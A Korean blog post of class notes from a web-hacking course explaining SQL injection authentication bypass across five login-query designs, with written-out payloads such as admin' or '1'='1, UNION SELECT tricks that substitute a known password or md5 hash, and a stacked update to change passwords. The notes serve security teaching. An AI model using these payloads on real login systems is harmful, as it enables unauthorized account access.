본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[2주차]SQL Injection - 인증우회(설명, 공격 예시)

by m_.9m 2021. 10. 23.

SQL Injection 공격 유형

1) 인증우회
2) 데이터 추출

 

+ 성공시 어떤 피해?

 

쿠키: 클라이언트 측에 저장되는 정보
세션: 서버 측에 저장되는 정보
세션 id : 쿠키에 저장되는 세션 식별 정보

1. SQL
DB와 명령어

Database (관계형 DB)
> 엑셀
엑셀파일 = DB
sheet = table
열 = column
행 = row

+SELECT 구조
SELECT [컬럼 이름 ] FROM 테이블 이름
WHERE ('조건절')

2. 로그인 인증 
- 식별(보호 대상은 아님)
: 많은 데이터 중에서 특정 데이터를 구분하는 작업
식별 정보: ID , 이름, 사번 등

- 인증
: 그 사람이 맞는지 확인하는 작업
인증 정보: OTP, 비밀번호 등

주민등록번호는 정확히 따지면 식별 정보
; 고유 식별 정보

*로그인에서 식별/인증
아이디: 식별정보 / 패스워드를 가져와 비교: 인증

3. 로그인 인증 5가지 

(1) 식별/인증 동시:
SQL 실행 1번으로 식별/인증 처리
ex - "select* from member where id ='mjjjjj99' and pass = '7777'"



+함수: y= f(x) = x + 3 입력 출력 
+해쉬

(2) 식별/인증 분리

 



(3) 식별/인증 동시 with Hash

(4) 식별/인증 분리 with Hash


* 해시: 일방향 함수
1234 -> sdjfkwehkgflsekf989 (글자수내로 만들어줌)
역연산이 불가능함 <> 사전 공격만 가능. 사람들이 쓸만한 단어를 해쉬처리하고 무자구이 비교
서버는 아이디를 간접적으로 앎. 법적으로 비밀번호는 해쉬해서 보관해야한다.
And 해쉬 충돌이 일어날 수 있음. 크래킹
SQL = "select* from member where id =' ' and pass = md5(' ')"

(5) 식별/인증 동시 (with 개행 )
sql "select ~~~~~((*((((
grkdvsv"


SQL = "select* from member where id =' ' and \n pass = ' ' "
if (pass==res.pass):
//로그인 성공
else 
//로그인 실패

admin' -- (뒤에 엔터가 있어서 주석처리가 안먹힘)
SQL Injection시 주석을 안쓰는게 나음.
대신 admin' or '1' = '1

<보고서는 블랙박스 형식으로 해도되고 아니여도 됨>

2. 인증 우회

* SQL Injection
-개념
임의의 SQL문 삽입
ID: nomartic ' 그리고 ' 마리오
+ 아! 근데 생각해보니까 그게 아니라~~
DB야! ID 가 nomartic ' 그리고 ' 마리오'인 사람의 비밀번호를 가져와.

* 왜 발생?
사용자의 입력값을 그대로 DB에 삽입하는 것이 문제. (=필터링이 없음)
=전달받은 파라미터를 SQL 질의문에 그대로 사용하고 있기 때문에

* 어디에서 발생?
> DB에서 데이터를 처리하는 기능
머릿말 인사말 있는 곳에선 발생 X

* 공격 시나리오
(1) 인증 우회
(2) 데이터 탈취
(3) 데이터 변조
(4) 서버 장악(DB가 하나인 경우, 파일업로드로 쉘 장악 가능)
-> DB에 임의 명령을 실행할 수 있다.

5) SQL Injection 인증 우회

5-1.
SQL = "select* from member where id =' ' and pass = ' '"
res= aql.execute()
if (pass==res.pass):
//로그인 성공
else 
//로그인 실패

 

<삽입>
   ID: admin’ # (조건: id정보 일치)
   ID: admin’ or 1 = 1 #
   ID: admin’ or ‘1’ = ‘1 (조건: id정보 일치)
<결과>
    SELECT * FROM member
WHERE id = ‘admin’ # AND pw = ‘1234’
Res = sql.execute()
If ($count > 0)
로그인 성공 else 로그인 실패

   SELECT * FROM member
WHERE id = ‘admin’ or 1 = 1 # AND pw = ‘1234’
Res = sql.execute()
If ($count > 0)
로그인 성공 else 로그인 실패

   SELECT * FROM member
WHERE id = ‘admin’ or ‘1’ = ‘1’ AND pw = ‘1234’
Res = sql.execute()
If ($count > 0)
로그인 성공 else 로그인 실패

 
 
 


5-2 UNION
> SELECT를 두번! (select ~~~~) union (select ~~~)

<삽입>
   ID: X’ UNION SELECT ‘1234’, ‘m’
ð  데이터 베이스 내 pass=’1234’, id = ‘myungju’]
   ID: m’ and ‘1’=’1
혹은 ID: m’ #
<결과>
   SELECT pass, username FROM member WHERE id = ‘ ’
   SELECT pass, username FROM member WHERE id = ‘X’ UNION SELECT ‘1234’, ‘myungju’
Res = sql.execute()
If (pass == res.pass)
로그인 성공 else 로그인 실패



*select 컬럼 이름 from 테이블 이름
<> select 'nomaltic' =이건 출력
     select 'nomaltic', '1234

*ORACLE은 좀 다름. select 'normaltic' from dual limit
dual이란 가상 테이블 지정해야함

SQL 쿼리 짤때
(1) normaltic' or '1'='1
normaltic' # 이런 기계적인 것이 아닌 

----------------------------------------
ID: normaltic' #
PASS:
다섯가지 유형 중에 가정을 하면서 추측.
select ~~ 무슨 쿼리일까?

(2) 쿼리 메모장에 써놓고 하나씩 해보고 복붙하고 문법 검증.

5-3,4 식별 인증 동시 해시는 1번과 똑같
     분리 해시는 
ID : x'union select '1234', 'nomaltic
Pass: 1234
select pass, username from member where id ' ' 
->select pass, username from member where id 'x' union select '1234', 'nomaltic'

HASH(사용자가 입력한 비밀번호) == DB 비밀번호
--> ID : x'union select md5('요기에해쉬된값을입력'), 'nomaltic


5-5 식별/인증 동시 with 개행
>주석을 못쓴다 > ' 꼬리를 맞춰줘야한다.
ID: normartic' and ' 1'='1
sql = "select" *from member where id='admin' and pass '' "
"""
select ~~~ where id ' ' and
pass ; ;
login_count = 
jj
"""

-> 식별인증분리시 유니온이 가장 보편적
id: normaltic';update -  비번을 아예 바꿔버릴 수도 있음.